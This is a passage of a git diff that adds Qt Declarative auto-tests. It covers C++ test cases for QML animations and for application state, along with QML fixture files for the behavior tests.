+ QTest::ignoreMessage(QtWarningMsg, "<Unknown File>: QML PauseAnimation: Cannot set a duration of < 0");
+ pauseAnimation->setDuration(-1);
+ QCOMPARE(pauseAnimation->duration(), 250);
+}
+
+void tst_qdeclarativeanimations::attached()
+{
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/attached.qml"));
+ QTest::ignoreMessage(QtDebugMsg, "off");
+ QTest::ignoreMessage(QtDebugMsg, "on");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect);
+}
+
+void tst_qdeclarativeanimations::propertyValueSourceDefaultStart()
+{
+ {
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/valuesource.qml"));
+
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect);
+
+ QDeclarativeAbstractAnimation *myAnim = rect->findChild<QDeclarativeAbstractAnimation*>("MyAnim");
+ QVERIFY(myAnim);
+ QVERIFY(myAnim->isRunning());
+ }
+
+ {
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/valuesource2.qml"));
+
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect);
+
+ QDeclarativeAbstractAnimation *myAnim = rect->findChild<QDeclarativeAbstractAnimation*>("MyAnim");
+ QVERIFY(myAnim);
+ QVERIFY(myAnim->isRunning() == false);
+ }
+
+ {
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/dontAutoStart.qml"));
+
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect);
+
+ QDeclarativeAbstractAnimation *myAnim = rect->findChild<QDeclarativeAbstractAnimation*>("MyAnim");
+ QVERIFY(myAnim && myAnim->qtAnimation());
+ QVERIFY(myAnim->qtAnimation()->state() == QAbstractAnimation::Stopped);
+ }
+}
+
+
+void tst_qdeclarativeanimations::dontStart()
+{
+ {
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/dontStart.qml"));
+
+ QString warning = c.url().toString() + ":14:13: QML NumberAnimation: setRunning() cannot be used on non-root animation nodes.";
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(warning));
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect);
+
+ QDeclarativeAbstractAnimation *myAnim = rect->findChild<QDeclarativeAbstractAnimation*>("MyAnim");
+ QVERIFY(myAnim && myAnim->qtAnimation());
+ QVERIFY(myAnim->qtAnimation()->state() == QAbstractAnimation::Stopped);
+ }
+
+ {
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/dontStart2.qml"));
+
+ QString warning = c.url().toString() + ":15:17: QML NumberAnimation: setRunning() cannot be used on non-root animation nodes.";
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(warning));
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect);
+
+ QDeclarativeAbstractAnimation *myAnim = rect->findChild<QDeclarativeAbstractAnimation*>("MyAnim");
+ QVERIFY(myAnim && myAnim->qtAnimation());
+ QVERIFY(myAnim->qtAnimation()->state() == QAbstractAnimation::Stopped);
+ }
+}
+
+void tst_qdeclarativeanimations::easingProperties()
+{
+ {
+ QDeclarativeEngine engine;
+ QString componentStr = "import QtQuick 1.0\nNumberAnimation { easing.type: \"InOutQuad\" }";
+ QDeclarativeComponent animationComponent(&engine);
+ animationComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativePropertyAnimation *animObject = qobject_cast<QDeclarativePropertyAnimation*>(animationComponent.create());
+
+ QVERIFY(animObject != 0);
+ QCOMPARE(animObject->easing().type(), QEasingCurve::InOutQuad);
+ }
+
+ {
+ QDeclarativeEngine engine;
+ QString componentStr = "import QtQuick 1.0\nPropertyAnimation { easing.type: \"OutBounce\"; easing.amplitude: 5.0 }";
+ QDeclarativeComponent animationComponent(&engine);
+ animationComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativePropertyAnimation *animObject = qobject_cast<QDeclarativePropertyAnimation*>(animationComponent.create());
+
+ QVERIFY(animObject != 0);
+ QCOMPARE(animObject->easing().type(), QEasingCurve::OutBounce);
+ QCOMPARE(animObject->easing().amplitude(), 5.0);
+ }
+
+ {
+ QDeclarativeEngine engine;
+ QString componentStr = "import QtQuick 1.0\nPropertyAnimation { easing.type: \"OutElastic\"; easing.amplitude: 5.0; easing.period: 3.0}";
+ QDeclarativeComponent animationComponent(&engine);
+ animationComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativePropertyAnimation *animObject = qobject_cast<QDeclarativePropertyAnimation*>(animationComponent.create());
+
+ QVERIFY(animObject != 0);
+ QCOMPARE(animObject->easing().type(), QEasingCurve::OutElastic);
+ QCOMPARE(animObject->easing().amplitude(), 5.0);
+ QCOMPARE(animObject->easing().period(), 3.0);
+ }
+
+ {
+ QDeclarativeEngine engine;
+ QString componentStr = "import QtQuick 1.0\nPropertyAnimation { easing.type: \"InOutBack\"; easing.overshoot: 2 }";
+ QDeclarativeComponent animationComponent(&engine);
+ animationComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+ QDeclarativePropertyAnimation *animObject = qobject_cast<QDeclarativePropertyAnimation*>(animationComponent.create());
+
+ QVERIFY(animObject != 0);
+ QCOMPARE(animObject->easing().type(), QEasingCurve::InOutBack);
+ QCOMPARE(animObject->easing().overshoot(), 2.0);
+ }
+}
+
+void tst_qdeclarativeanimations::rotation()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/rotation.qml"));
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect);
+
+ QDeclarativeRectangle *rr = rect->findChild<QDeclarativeRectangle*>("rr");
+ QDeclarativeRectangle *rr2 = rect->findChild<QDeclarativeRectangle*>("rr2");
+ QDeclarativeRectangle *rr3 = rect->findChild<QDeclarativeRectangle*>("rr3");
+ QDeclarativeRectangle *rr4 = rect->findChild<QDeclarativeRectangle*>("rr4");
+
+ QDeclarativeItemPrivate::get(rect)->setState("state1");
+ QTest::qWait(800);
+ qreal r1 = rr->rotation();
+ qreal r2 = rr2->rotation();
+ qreal r3 = rr3->rotation();
+ qreal r4 = rr4->rotation();
+
+ QVERIFY(r1 > qreal(0) && r1 < qreal(370));
+ QVERIFY(r2 > qreal(0) && r2 < qreal(370));
+ QVERIFY(r3 < qreal(0) && r3 > qreal(-350));
+ QVERIFY(r4 > qreal(0) && r4 < qreal(10));
+ QCOMPARE(r1,r2);
+ QVERIFY(r4 < r2);
+
+ QTest::qWait(800);
+ QTIMED_COMPARE(rr->rotation() + rr2->rotation() + rr3->rotation() + rr4->rotation(), qreal(370*4));
+}
+
+void tst_qdeclarativeanimations::runningTrueBug()
+{
+ //ensure we start correctly when "running: true" is explicitly set
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/runningTrueBug.qml"));
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect);
+
+ QDeclarativeRectangle *cloud = rect->findChild<QDeclarativeRectangle*>("cloud");
+ QVERIFY(cloud);
+ QTest::qWait(1000);
+ QVERIFY(cloud->x() > qreal(0));
+}
+
+//QTBUG-12805
+void tst_qdeclarativeanimations::nonTransitionBug()
+{
+ //tests that the animation values from the previous transition are properly cleared
+ //in the case where an animation in the transition doesn't match anything (but previously did)
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent c(&engine, SRCDIR "/data/nonTransitionBug.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect != 0);
+ QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect);
+ QDeclarativeRectangle *mover = rect->findChild<QDeclarativeRectangle*>("mover");
+
+ mover->setX(100);
+ QCOMPARE(mover->x(), qreal(100));
+
+ rectPrivate->setState("left");
+ QTRY_COMPARE(mover->x(), qreal(0));
+
+ mover->setX(100);
+ QCOMPARE(mover->x(), qreal(100));
+
+ //make sure we don't try to animate back to 0
+ rectPrivate->setState("free");
+ QTest::qWait(300);
+ QCOMPARE(mover->x(), qreal(100));
+}
+
+//QTBUG-14042
+void tst_qdeclarativeanimations::registrationBug()
+{
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent c(&engine, SRCDIR "/data/registrationBug.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect != 0);
+ QTRY_COMPARE(rect->property("value"), QVariant(int(100)));
+}
+
+void tst_qdeclarativeanimations::doubleRegistrationBug()
+{
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent c(&engine, SRCDIR "/data/doubleRegistrationBug.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect != 0);
+
+ QDeclarativeAbstractAnimation *anim = rect->findChild<QDeclarativeAbstractAnimation*>("animation");
+ QVERIFY(anim != 0);
+ QTRY_COMPARE(anim->qtAnimation()->state(), QAbstractAnimation::Stopped);
+}
+
+//QTBUG-16736
+void tst_qdeclarativeanimations::alwaysRunToEndRestartBug()
+{
+ QDeclarativeRectangle rect;
+ QDeclarativePropertyAnimation animation;
+ animation.setTarget(&rect);
+ animation.setProperty("x");
+ animation.setTo(200);
+ animation.setDuration(1000);
+ animation.setLoops(-1);
+ animation.setAlwaysRunToEnd(true);
+ QVERIFY(animation.loops() == -1);
+ QVERIFY(animation.alwaysRunToEnd() == true);
+ animation.start();
+ animation.stop();
+ animation.start();
+ animation.stop();
+ QTest::qWait(500);
+ QVERIFY(rect.x() != qreal(200));
+ QTest::qWait(800);
+ QTIMED_COMPARE(rect.x(), qreal(200));
+ QCOMPARE(static_cast<QDeclarativeAbstractAnimation*>(&animation)->qtAnimation()->state(), QAbstractAnimation::Stopped);
+}
+
+//QTBUG-20227
+void tst_qdeclarativeanimations::transitionAssignmentBug()
+{
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent c(&engine, SRCDIR "/data/transitionAssignmentBug.qml");
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect != 0);
+
+ QCOMPARE(rect->property("nullObject").toBool(), false);
+}
+
+QTEST_MAIN(tst_qdeclarativeanimations)
+
+#include "tst_qdeclarativeanimations.moc"
diff --git a/tests/auto/declarative/qdeclarativeapplication/qdeclarativeapplication.pro b/tests/auto/declarative/qdeclarativeapplication/qdeclarativeapplication.pro
new file mode 100644
index 00000000..91e54682
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeapplication/qdeclarativeapplication.pro
@@ -0,0 +1,5 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative gui
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_qdeclarativeapplication.cpp
diff --git a/tests/auto/declarative/qdeclarativeapplication/tst_qdeclarativeapplication.cpp b/tests/auto/declarative/qdeclarativeapplication/tst_qdeclarativeapplication.cpp
new file mode 100644
index 00000000..bb9967d6
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativeapplication/tst_qdeclarativeapplication.cpp
@@ -0,0 +1,123 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <qtest.h>
+#include "../../../shared/util.h"
+#include <QtDeclarative/qdeclarativecomponent.h>
+#include <QtDeclarative/qdeclarativeengine.h>
+#include <QtDeclarative/qdeclarativeitem.h>
+#include <QtGui/qgraphicsview.h>
+#include <QtGui/qgraphicsscene.h>
+
+class tst_qdeclarativeapplication : public QObject
+{
+ Q_OBJECT
+public:
+ tst_qdeclarativeapplication();
+
+private slots:
+ void active();
+ void layoutDirection();
+
+private:
+ QDeclarativeEngine engine;
+};
+
+tst_qdeclarativeapplication::tst_qdeclarativeapplication()
+{
+}
+
+void tst_qdeclarativeapplication::active()
+{
+ QDeclarativeComponent component(&engine);
+ component.setData("import QtQuick 1.0; Item { property bool active: Qt.application.active }", QUrl::fromLocalFile(""));
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem *>(component.create());
+ QVERIFY(item);
+ QGraphicsScene scene;
+ QGraphicsView view(&scene);
+ scene.addItem(item);
+
+ // not active
+ QVERIFY(!item->property("active").toBool());
+ QCOMPARE(item->property("active").toBool(), QApplication::activeWindow() != 0);
+
+ // active
+ view.show();
+ QApplication::setActiveWindow(&view);
+ QTest::qWaitForWindowShown(&view);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(&view));
+ QCOMPARE(item->property("active").toBool(), QApplication::activeWindow() != 0);
+
+ // not active again
+ // on mac, setActiveWindow(0) on mac does not deactivate the current application
+ // (you have to switch to a different app or hide the current app to trigger this)
+#if !defined(Q_WS_MAC)
+ QApplication::setActiveWindow(0);
+ QVERIFY(!item->property("active").toBool());
+ QCOMPARE(item->property("active").toBool(), QApplication::activeWindow() != 0);
+#endif
+}
+
+void tst_qdeclarativeapplication::layoutDirection()
+{
+ QDeclarativeComponent component(&engine);
+ component.setData("import QtQuick 1.0; Item { property bool layoutDirection: Qt.application.layoutDirection }", QUrl::fromLocalFile(""));
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem *>(component.create());
+ QVERIFY(item);
+ QGraphicsScene scene;
+ QGraphicsView view(&scene);
+ scene.addItem(item);
+
+ // not mirrored
+ QCOMPARE(Qt::LayoutDirection(item->property("layoutDirection").toInt()), Qt::LeftToRight);
+
+ // mirrored
+ QApplication::setLayoutDirection(Qt::RightToLeft);
+ QCOMPARE(Qt::LayoutDirection(item->property("layoutDirection").toInt()), Qt::RightToLeft);
+
+ // not mirrored again
+ QApplication::setLayoutDirection(Qt::LeftToRight);
+ QCOMPARE(Qt::LayoutDirection(item->property("layoutDirection").toInt()), Qt::LeftToRight);
+}
+
+QTEST_MAIN(tst_qdeclarativeapplication)
+
+#include "tst_qdeclarativeapplication.moc"
diff --git a/tests/auto/declarative/qdeclarativebehaviors/data/binding.qml b/tests/auto/declarative/qdeclarativebehaviors/data/binding.qml
new file mode 100644
index 00000000..a452447f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativebehaviors/data/binding.qml
@@ -0,0 +1,26 @@
+import QtQuick 1.0
+Rectangle {
+ width: 400
+ height: 400
+ property real basex : 0
+ property real movedx: 200
+ Rectangle {
+ id: rect
+ objectName: "MyRect"
+ width: 100; height: 100; color: "green"
+ x: basex
+ Behavior on x { NumberAnimation { duration: 800; } }
+ }
+ MouseArea {
+ id: clicker
+ anchors.fill: parent
+ }
+ states: State {
+ name: "moved"
+ when: clicker.pressed
+ PropertyChanges {
+ target: rect
+ x: movedx
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativebehaviors/data/color.qml b/tests/auto/declarative/qdeclarativebehaviors/data/color.qml
new file mode 100644
index 00000000..c4b783a0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativebehaviors/data/color.qml
@@ -0,0 +1,24 @@
+import QtQuick 1.0
+Rectangle {
+ width: 400
+ height: 400
+ Rectangle {
+ id: rect
+ objectName: "MyRect"
+ width: 100; height: 100;
+ color: "green"
+ Behavior on color { ColorAnimation { duration: 500; } }
+ }
+ MouseArea {
+ id: clicker
+ anchors.fill: parent
+ }
+ states: State {
+ name: "red"
+ when: clicker.pressed
+ PropertyChanges {
+ target: rect
+ color: "red"
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativebehaviors/data/cpptrigger.qml b/tests/auto/declarative/qdeclarativebehaviors/data/cpptrigger.qml
new file mode 100644
index 00000000..88ddfaa1
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativebehaviors/data/cpptrigger.qml
@@ -0,0 +1,11 @@
+import QtQuick 1.0
+Rectangle {
+ width: 400
+ height: 400
+ Rectangle {
+ id: rect
+ objectName: "MyRect"
+ width: 100; height: 100; color: "green"
+ Behavior on x { NumberAnimation { duration: 500; } }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativebehaviors/data/delayedRegistration.qml b/tests/auto/declarative/qdeclarativebehaviors/data/delayedRegistration.qml
new file mode 100644
index 00000000..aa384c33
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativebehaviors/data/delayedRegistration.qml
@@ -0,0 +1,25 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: container
+
+ width: 400; height: 400;
+ property Item myItem
+
+ function doCreate() {
+ myItem = myComponent.createObject(container)
+ myItem.x = 100
+ }
+
+ Component {
+ id: myComponent
+ Rectangle {
+ width: 100
+ height: 100
+ color: "green"
+ Behavior on x { NumberAnimation { duration: 500 } }
+ }
+ }
+
+ Component.onCompleted: doCreate()
+}
diff --git a/tests/auto/declarative/qdeclarativebehaviors/data/disabled.qml b/tests/auto/declarative/qdeclarativebehaviors/data/disabled.qml
new file mode 100644
index 00000000..f6cfa5e3
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativebehaviors/data/disabled.qml
@@ -0,0 +1,27 @@
+import QtQuick 1.0
+Rectangle {
+ width: 400
+ height: 400
+ Rectangle {
+ id: rect
+ objectName: "MyRect"
+ width: 100; height: 100; color: "green"
+ Behavior on x {
+ objectName: "MyBehavior";
+ enabled: false
+ NumberAnimation { duration: 200; }
+ }
+ }
+ MouseArea {
+ id: clicker
+ anchors.fill: parent
+ }
+ states: State {
+ name: "moved"
+ when: clicker.pressed
+ PropertyChanges {
+ target: rect
+ x: 200
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativebehaviors/data/dontStart.qml b/tests/auto/declarative/qdeclarativebehaviors/data/dontStart.qml
new file mode 100644
index 00000000..e318dd25
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativebehaviors/data/dontStart.qml
@@ -0,0 +1,18 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: wrapper
+ width: 600
+ height: 400
+
+ Rectangle {
+ id: redRect
+ width: 100; height: 100
+ color: Qt.rgba(1,0,0)
+ Behavior on x {
+ NumberAnimation {id: myAnim; objectName: "MyAnim"; running: true }
+ }
+
+ }
+
+}
diff --git a/tests/auto/declarative/qdeclarativebehaviors/data/empty.qml b/tests/auto/declarative/qdeclarativebehaviors/data/empty.qml
new file mode 100644
index 00000000..6c78a845
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativebehaviors/data/empty.qml
@@ -0,0 +1,23 @@
+import QtQuick 1.0
+Rectangle {
+ width: 400
+ height: 400
+ Rectangle {
+ id: rect
+ objectName: "MyRect"
+ width: 100; height: 100; color: "green"
+ Behavior on x {}
+ }
+ MouseArea {
+ id: clicker
+ anchors.fill: parent
+ }
+ states: State {
+ name: "moved"
+ when: clicker.pressed
+ PropertyChanges {
+ target: rect
+ x: 200
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativebehaviors/data/explicit.qml b/tests/auto/declarative/qdeclarativebehaviors/data/explicit.qml
new file mode 100644
index 00000000..3baa1ac2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativebehaviors/data/explicit.qml
@@ -0,0 +1,26 @@
+import QtQuick 1.0
+Rectangle {
+ width: 400
+ height: 400
+ Rectangle {
+ id: rect
+ objectName: "MyRect"
+ width: 100; height: 100; color: "green"
+ Behavior on x {
+ objectName: "MyBehavior";
+ NumberAnimation { target: rect; property: "x"; duration: 500; }
+ }
+ }
+ MouseArea {
+ id: clicker
+ anchors.fill: parent
+ }
+ states: State {
+ name: "moved"
+ when: clicker.pressed
+ PropertyChanges {
+ target: rect
+ x: 200
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativebehaviors/data/groupProperty.qml b/tests/auto/declarative/qdeclarativebehaviors/data/groupProperty.qml
new file mode 100644
index 00000000..ddb5bbd4
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativebehaviors/data/groupProperty.qml
@@ -0,0 +1,23 @@
+import QtQuick 1.0
+Rectangle {
+ width: 400
+ height: 400
+ Rectangle {
+ id: rect
+ objectName: "MyRect"
+ width: 100; height: 100; color: "green"
+ Behavior on pos { PropertyAnimation { duration: 500; } }
+ }
+ MouseArea {
+ id: clicker
+ anchors.fill: parent
+ }
+ states: State {
+ name: "moved"
+ when: clicker.pressed
+ PropertyChanges {
+ target: rect
+ pos: Qt.point(200,0);
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativebehaviors/data/groupProperty2.qml b/tests/auto/declarative/qdeclarativebehaviors/data/groupProperty2.qml
new file mode 100644
index 00000000..c0b71cdb
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativebehaviors/data/groupProperty2.qml
@@ -0,0 +1,23 @@
+import QtQuick 1.0
+Rectangle {
+ width: 400
+ height: 400
+ Rectangle {
+ id: rect
+ objectName: "MyRect"
+ width: 100; height: 100; color: "green"
+ Behavior on pos.x { NumberAnimation { duration: 500; } }
+ }
+ MouseArea {
+ id: clicker
+ anchors.fill: parent
+ }
+ states: State {
+ name: "moved"
+ when: clicker.pressed
+ PropertyChanges {
+ target: rect
+ pos.x: 200;
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativebehaviors/data/groupedPropertyCrash.qml b/tests/auto/declarative/qdeclarativebehaviors/data/groupedPropertyCrash.qml
new file mode 100644
index 00000000..8aa590bc
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativebehaviors/data/groupedPropertyCrash.qml
@@ -0,0 +1,10 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 200
+ height: 200
+ Text {
+ Behavior on anchors.verticalCenterOffset { NumberAnimation { duration: 300; } }
+ text: "Hello World"
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativebehaviors/data/loop.qml b/tests/auto/declarative/qdeclarativebehaviors/data/loop.qml
new file mode 100644
index 00000000..76379c00
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativebehaviors/data/loop.qml
@@ -0,0 +1,19 @@
+import QtQuick 1.0
+Rectangle {
+ width: 400
+ height: 400
+ Rectangle {
+ id: rect
+ objectName: "MyRect"
+ width: 100; height: 100; color: "green"
+ Behavior on x { NumberAnimation { duration: 200; } }
+ onXChanged: x = 100;
+ }
+ states: State {
+ name: "moved"
+ PropertyChanges {
+ target: rect
+ x: 200
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativebehaviors/data/nonSelecting2.qml b/tests/auto/declarative/qdeclarativebehaviors/data/nonSelecting2.qml
new file mode 100644
index 00000000..c5c78d1a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativebehaviors/data/nonSelecting2.qml
@@ -0,0 +1,26 @@
+import QtQuick 1.0
+Rectangle {
+ width: 400
+ height: 400
+ Rectangle {
+ id: rect
+ objectName: "MyRect"
+ width: 100; height: 100; color: "green"
+ Behavior on x {
+ objectName: "MyBehavior";
+ NumberAnimation { targets: rect; properties: "y"; duration: 200; }
+ }
+ }
+ MouseArea {
+ id: clicker
+ anchors.fill: parent
+ }
+ states: State {
+ name: "moved"
+ when: clicker.pressed
+ PropertyChanges {
+ target: rect
+ x: 200
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativebehaviors/data/parent.qml b/tests/auto/declarative/qdeclarativebehaviors/data/parent.qml
new file mode 100644
index 00000000..d19da298
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativebehaviors/data/parent.qml
@@ -0,0 +1,28 @@
+import QtQuick 1.0
+Rectangle {
+ width: 400
+ height: 400
+ Rectangle {
+ id: rect
+ objectName: "MyRect"
+ width: 100; height: 100; color: "green"
+ Behavior on parent {
+ SequentialAnimation {
+ PauseAnimation { duration: 500 }
+ PropertyAction {}
+ }
+ }
+ }
+ Item {
+ id: newParent
+ objectName: "NewParent"
+ x: 100
+ }
+ states: State {
+ name: "reparented"
+ PropertyChanges {
+ target: rect
+ parent: newParent
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativebehaviors/data/qtbug12295.qml b/tests/auto/declarative/qdeclarativebehaviors/data/qtbug12295.qml
new file mode 100644
index 00000000..03b54216
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativebehaviors/data/qtbug12295.qml
@@ -0,0 +1,17 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 200
+ height: 200
+ color: "blue"
+
+ Rectangle {
+ id: myRect
+ objectName: "myRect"
+ width: 100
+ height: 100
+ Behavior on x {
+ NumberAnimation { duration: 500 }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativebehaviors/data/reassignedAnimation.qml b/tests/auto/declarative/qdeclarativebehaviors/data/reassignedAnimation.qml
new file mode 100644
index 00000000..56ac216c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativebehaviors/data/reassignedAnimation.qml
@@ -0,0 +1,32 @@
+import QtQuick 1.0
+Rectangle {
+ width: 400
+ height: 400
+ Rectangle {
+ id: rect
+ objectName: "MyRect"
+ width: 100; height: 100; color: "green"
+ Behavior on x {
+ id: myBehavior
+ objectName: "MyBehavior"
+ NumberAnimation {id: na1; duration: 200 }
+ }
+ }
+ MouseArea {
+ id: clicker
+ anchors.fill: parent
+ }
+ states: State {
+ name: "moved"
+ when: clicker.pressed
+ PropertyChanges {
+ target: rect
+ x: 200
+ }
+ }
+
+ NumberAnimation {id: na2; duration: 1000 }
+ Component.onCompleted: {
+ myBehavior.animation = na2;
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativebehaviors/data/runningTrue.qml b/tests/auto/declarative/qdeclarativebehaviors/data/runningTrue.qml
new file mode 100644
index 00000000..25cdf10a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativebehaviors/data/runningTrue.qml
@@ -0,0 +1,20 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: root
+ width:200; height:200
+
+ property real myValue: 0
+
+ Rectangle {
+ anchors.centerIn: parent
+ width: 100
+ height: 100
+ color: "green"
+ smooth: true
+ rotation: myValue
+ Behavior on rotation {
+ RotationAnimation { id: rotAnim; objectName: "rotAnim"; direction: RotationAnimation.Shortest }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativebehaviors/data/scripttrigger.qml b/tests/auto/declarative/qdeclarativebehaviors/data/scripttrigger.qml
new file mode 100644
index 00000000..c05cdaa9
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativebehaviors/data/scripttrigger.qml
@@ -0,0 +1,16 @@
+import QtQuick 1.0
+Rectangle {
+ width: 400
+ height: 400
+
+ onColorChanged: {
+ rect.x = 200
+ }
+
+ Rectangle {
+ id: rect
+ objectName: "MyRect"
+ width: 100; height: 100; color: "green"
+ Behavior on x { NumberAnimation { duration: 800; } }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativebehaviors/data/simple.qml b/tests/auto/declarative/qdeclarativebehaviors/data/simple.qml
new file mode 100644
index 00000000..6ba01186
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativebehaviors/data/simple.qml
@@ -0,0 +1,26 @@
+import QtQuick 1.0
+Rectangle {
+ width: 400
+ height: 400
+ Rectangle {
+ id: rect
+ objectName: "MyRect"
+ width: 100; height: 100; color: "green"
+ Behavior on x {
+ objectName: "MyBehavior";
+ NumberAnimation {id: na; duration: 500; }
+ }
+ }
+ MouseArea {
+ id: clicker
+ anchors.fill: parent
+ }
+ states: State {
+ name: "moved"
+ when: clicker.pressed
+ PropertyChanges {
+ target: rect
+ x: 200
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativebehaviors/data/startup.qml b/tests/auto/declarative/qdeclarativebehaviors/data/startup.qml
new file mode 100644
index 00000000..fca416c0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativebehaviors/data/startup.qml
@@ -0,0 +1,17 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 400
+ height: 400
+
+ Rectangle {
+ objectName: "innerRect"
+ height: 100; width: 100; color: "green"
+ property real targetX: 100
+
+ x: targetX
+ Behavior on x {
+ NumberAnimation {}
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativebehaviors/data/startup2.qml b/tests/auto/declarative/qdeclarativebehaviors/data/startup2.qml
new file mode 100644
index 00000000..eb627613
--- /dev/null
